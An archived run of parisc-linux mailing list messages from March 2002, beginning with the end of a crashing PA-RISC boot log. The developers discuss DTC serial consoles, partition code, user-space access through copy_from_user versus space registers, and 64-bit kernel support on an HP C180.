CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1: HWP1990 EISA IRQ 3 <4>IRQ 3 polarity configured twice (last 
to level)

POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Journalled Block Device driver loaded
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI byte mode ROM at f4000000, hpa=f4000000
STI byte mode ROM, id 27f12392-40a00499, conforms to spec rev. 8.02
STI device: HPA1991AC19
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 27f12392, mmio: 0xf4100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ 
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
hp100: eth0: Using (slow) programmed i/o mode.
hp100: eth0: HP J2577 at 0x1c38, IRQ 3, EISA bus, 128k SRAM (rx/tx 75%).
hp100: eth0: Adapter is attached to 10Mb/s network.
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth1: Couldn't get consistent shared memory
eth1: 82596 at 0xf0826000, 08 00 09 87 89 28 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
   Vendor: DEC       Model: RZ26L    (C) DEC  Rev: 440C
   Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 2050860 512-byte hdwr sectors (1050 MB)
Partition check:
  sda: sda1 sda2 sda3
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xf1000000, IRQ 82
sticonsole_init: searching for STI ROMs
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
    8regs     : 12246.800 MB/sec
    8regs_prefetch:    55.600 MB/sec
    32regs    :    56.800 MB/sec
    32regs_prefetch:    56.800 MB/sec
raid5: using function: 8regs (12246.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM (386k)
Adding Swap: 124800k swap-space (priority -1)
kernel BUG at printk.c:489!
kernel BUG at printk.c:489!
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x24000000 to 0x24000240:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

[a lot of these ...]

Dumping Stack from 0x202f8000 to 0x202f8b40:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x202f8000 to 0x202f8f80:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x202f8000 to 0x202f93c0:
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!
WARNING! Stack pointer and cr30 do not correspond!


-- 
      Rafael




From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I'm using HP-UX
Date: 15 Mar 2002 23:21:58 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <1016259718.1305.12.camel@beavis>
References: <000101c1cc4c$6b4a5960$190101c0@onnainty>  
	<20020315183106.5CB9E39573@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621163 4844 80.91.229.3 (22 Nov 2014 01:52:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:43 +0000 (UTC)
Cc: jeronimo@curtarsa.com.ar, parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 23:22:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 028B44890
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 23:22:01 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 79784BCC5; Fri, 15 Mar 2002 23:21:58 -0700 (MST)
In-Reply-To: <20020315183106.5CB9E39573@carmen.fc.hp.com>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14356

On Fri, 2002-03-15 at 11:31, Matt Taggart wrote:
> 
> =?Windows-1252?Q?Onnainty_Jer=F3nimo?= writes...
> 
> > Tengo instalado el DTCMANAGER en un HP-UX, en el PA-Linux existe este
> > producto?
> 
> Not currently. I think this would require both support for the DTC
> devices and porting the DTCMANAGER software.

I currently user a couple of DTC 16RX for my serial console solutions.
I am not sure what you are trying to accomplish, but I configured the
DTCs using the console and put the software bits on my tftpserver that I
use to server up parisc-linux kernel images from.  This has worked
flawless for me over the last couple of years and has been an excellent
console solution for my usage.  [Note: both DTC retrieve the same bits
from my tftp server, so no custom configuration appears to be stored in
those binaries].

> Do you just want to be able to access the devices? This might be possible
> if someone wrote the right drivers.
> 
> Or do you want to use the DTCMANAGER software too? I don't think the HP
> people in charge of this product plan to port it. You could ask
> them though. One possiblity is to try and run it under PA-Linux using
> the HP-UX binary support. I suspect you'll need the yet-to-be-implemented
> signals stuff though, a bunch of HP-UX Libraries, as well as
> the hardware support mentioned above(and maybe some sort of conversion
> layer depending on how it wants to access the devices).

I do not use the DTCMANAGER software under linux ... I configured all
the ports on the DTC and when I want to add another remote console I
just plug it in and telnet to the DTC port# (I portscanned the DTC
to get the port numbers) and vola, I have the serial console to the
system.  [Note: I am not running HP-UX anywhere in my house, so this
solutions is pure i386 and parisc-linux.


Hope that help, but not sure if this is the information you are looking
for.

Thanks,

- Ryan

> Short answer: while possible, I don't think it will ever happen. Don't
> let that stop you from working on it though :)
> 
> -- 
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] code to handle disk partitions.
Date: Fri, 15 Mar 2002 22:28:29 -0800
Organization: Hewlett Packard
Lines: 12
Approved: news@gmane.org
Message-ID: <3C92E60D.E9D9A8ED@cup.hp.com>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com> <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621163 4852 80.91.229.3 (22 Nov 2014 01:52:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 23:28:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5790A4899
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 23:28:50 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel13.hp.com (Postfix) with ESMTP
	id 9B9EF400207; Fri, 15 Mar 2002 22:28:49 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id WAA25936;
	Fri, 15 Mar 2002 22:28:34 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14357

where is this function
get_all_partitions()

can it be still used.

I am looking partition handling functions,  I got some stuff in
/drivers/block/blkpg.c






From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code to handle disk partitions.
Date: Sat, 16 Mar 2002 13:22:21 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20020316132221.A2179@parcelfarce.linux.theplanet.co.uk>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com> <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk> <3C92E60D.E9D9A8ED@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621164 4864 80.91.229.3 (22 Nov 2014 01:52:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:44 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 16 06:22:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 286F2488B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Mar 2002 06:22:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mE8b-0000pT-00; Sat, 16 Mar 2002 13:22:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C92E60D.E9D9A8ED@cup.hp.com>; from gururaj@cup.hp.com on Fri, Mar 15, 2002 at 10:28:29PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14358

On Fri, Mar 15, 2002 at 10:28:29PM -0800, Gururaj Ananthateerta wrote:
> 
> where is this function
> get_all_partitions()
> 
> can it be still used.

my impression is this function has never existed.  it certainly has not
been removed during the 2.4 kernel series.

> I am looking partition handling functions,  I got some stuff in
> /drivers/block/blkpg.c

I think you probably want to start looking in fs/partitions/check.c,
function grok_partitions().

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sat, 16 Mar 2002 11:42:31 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020316184231.482C6482C@dsl2.external.hp.com>
References: <3C92DD15.4060008@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621164 4874 80.91.229.3 (22 Nov 2014 01:52:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 16 11:42:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 482C6482C; Sat, 16 Mar 2002 11:42:31 -0700 (MST)
In-Reply-To: Message from "Rafael E. Herrera" <raffo@neuronet.pitt.edu> 
   of "Sat, 16 Mar 2002 00:50:13 EST." <3C92DD15.4060008@neuronet.pitt.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14359

"Rafael E. Herrera" wrote:
...
> WARNING! Stack pointer and cr30 do not correspond!

A few times, this error (it's not a warning) meant the 
driver was attempting to access user space data directly.
This is wrong and unfortunately it *usually* (but not always)
works on x86 arch. The right way to access user space data
is via copy_from_user() or write asm code that explicitly
references Space Registers (eg sr3).

grant



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sat, 16 Mar 2002 21:39:38 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020316213938.B2179@parcelfarce.linux.theplanet.co.uk>
References: <3C92DD15.4060008@neuronet.pitt.edu> <raffo@neuronet.pitt.edu> <20020316184231.482C6482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621164 4883 80.91.229.3 (22 Nov 2014 01:52:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:44 +0000 (UTC)
Cc: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 16 14:39:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688A0488E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Mar 2002 14:39:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mLtq-0000Nv-00; Sat, 16 Mar 2002 21:39:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020316184231.482C6482C@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Mar 16, 2002 at 11:42:31AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14360

On Sat, Mar 16, 2002 at 11:42:31AM -0700, Grant Grundler wrote:
> works on x86 arch. The right way to access user space data
> is via copy_from_user() or write asm code that explicitly
> references Space Registers (eg sr3).

Let me just explicitly discourage doing this (or, if you must, document
it in Documentation/parisc/registers).  Use of sr3 to access userspace
is subject to change and it'd be nice not to have to check every driver
for use.  It's bad enough that sba & ccio use sr1, but at least we found
those :-)

I cant imagine a good reason for using sr3.  copy_{to,from}_user are
portable and obvious.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sat, 16 Mar 2002 22:38:38 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20020317053838.683C7482D@dsl2.external.hp.com>
References: <3C92DD15.4060008@neuronet.pitt.edu> <raffo@neuronet.pitt.edu> <20020316184231.482C6482C@dsl2.external.hp.com>  <20020316213938.B2179@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621164 4897 80.91.229.3 (22 Nov 2014 01:52:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 16 22:38:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 683C7482D; Sat, 16 Mar 2002 22:38:38 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 16 Mar 2002 21:39:38 GMT." <20020316213938.B2179@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14361

Matthew Wilcox wrote:
> Let me just explicitly discourage doing this (or, if you must, document
> it in Documentation/parisc/registers).  Use of sr3 to access userspace
> is subject to change and it'd be nice not to have to check every driver
> for use. 

Yeah - you are right

> It's bad enough that sba & ccio use sr1, but at least we found
> those :-)

oh - I forgot about those for filling the IO pdir entries...
that need to change in order to support zero copy?

We somehow need to pass the spaceID of the userspace buffer
to dma code if we want DMA to be cache coherent.
I don't have any good ideas for this.

> I cant imagine a good reason for using sr3.  copy_{to,from}_user are
> portable and obvious.

agreed.

thanks,
grant

--9B420482D.1016343457/dsl2.external.hp.com--



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Robb <hecubus3rd@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can I do 64 bit
Date: Sun, 17 Mar 2002 00:40:54 -0800 (PST)
Lines: 34
Approved: news@gmane.org
Message-ID: <20020317084054.84462.qmail@web10504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621165 4905 80.91.229.3 (22 Nov 2014 01:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 17 01:40:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web10504.mail.yahoo.com (web10504.mail.yahoo.com [216.136.130.154])
	by dsl2.external.hp.com (Postfix) with SMTP id 15F1D4833
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Mar 2002 01:40:56 -0700 (MST)
Original-Received: from [66.186.66.235] by web10504.mail.yahoo.com via HTTP; Sun, 17 Mar 2002 00:40:54 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14362

Hello, I recently aquired a HP C180XP here is the
output from cat /proc/cpuinfo

processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8000 (PCX-U)
cpu MHz		: 180.000000
model		: 9000/780/C180
model name	: Raven U 180 (9000/780/C180)
hversion	: 0x000059c0
sversion	: 0x00000481
I-cache		: 1024 KB
D-cache		: 1024 KB (WB)
ITLB entries	: 96
DTLB entries	: 96 - shared with ITLB
BTLB fixed	: max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.	: 0 instruction, 0 data (16 combined)
BTLB var-entr.	: 0 instruction, 0 data (0 combined)
bogomips	: 358.80
software id	: 2001678209

I am wondering if this system can run a 64 bit kernel?
 Can anyone tell me if it can and how do I get it
booted up in 64 bit mode if it can?

Thank you,
Timothy Robb

__________________________________________________
Do You Yahoo!?
Yahoo! Sports - live college hoops coverage
http://sports.yahoo.com/



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sun, 17 Mar 2002 13:43:30 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020317134330.F21765@parcelfarce.linux.theplanet.co.uk>
References: <3C92DD15.4060008@neuronet.pitt.edu> <raffo@neuronet.pitt.edu> <20020316184231.482C6482C@dsl2.external.hp.com> <20020316213938.B2179@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020317053838.683C7482D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621165 4911 80.91.229.3 (22 Nov 2014 01:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:45 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 17 06:43:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB8DF4830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Mar 2002 06:43:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mawc-0002ij-00; Sun, 17 Mar 2002 13:43:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020317053838.683C7482D@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Mar 16, 2002 at 10:38:38PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
